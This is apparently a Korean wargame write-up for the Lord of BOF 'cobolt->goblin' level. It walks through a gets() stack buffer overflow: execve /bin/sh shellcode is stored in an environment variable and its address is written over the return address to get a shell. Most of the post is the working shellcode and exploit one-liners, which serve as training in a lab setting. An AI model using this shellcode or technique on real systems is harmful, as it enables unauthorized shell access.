문제 소스다.
gremlin -> cobolt 풀때와 크게 다르지 않지만,
buff[16]에 gets 함수를 이용하여 입력받는다.
그리고 buffer를 출력한다.
gremlin문제와 크게 다를 거 없어서 바로 시작했다.
우선 환경변수에 export를 이용하여 SHELLCODE를 등록하고,
SHELLCODE의 주소값을 넣어 ret를 변경 시키겠다.
export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
쉘코드 등록.
export한 SHELLCODE의 주소는 저번에 작성한 c 파일로 주소를 확인한다.
0xbffffece주소다
이제 문제는 이 공격코드를 어찌 넘길까 인데..
나는 python과 cat 을 이용하여 실행하겠다.
(python -c "print '\x90'*20+'\xcd\xfe\xff\xbf'"; cat) | ./goblin
hackers proof
끝.
'wargame > S_LOB' 카테고리의 다른 글
wolfman->darkelf (2) | 2016.08.31 |
---|---|
orc->wolfman (0) | 2016.06.24 |
goblin->orc (0) | 2016.06.23 |
gremlin->cobolt (0) | 2016.06.12 |
gate->gremlin (0) | 2016.06.12 |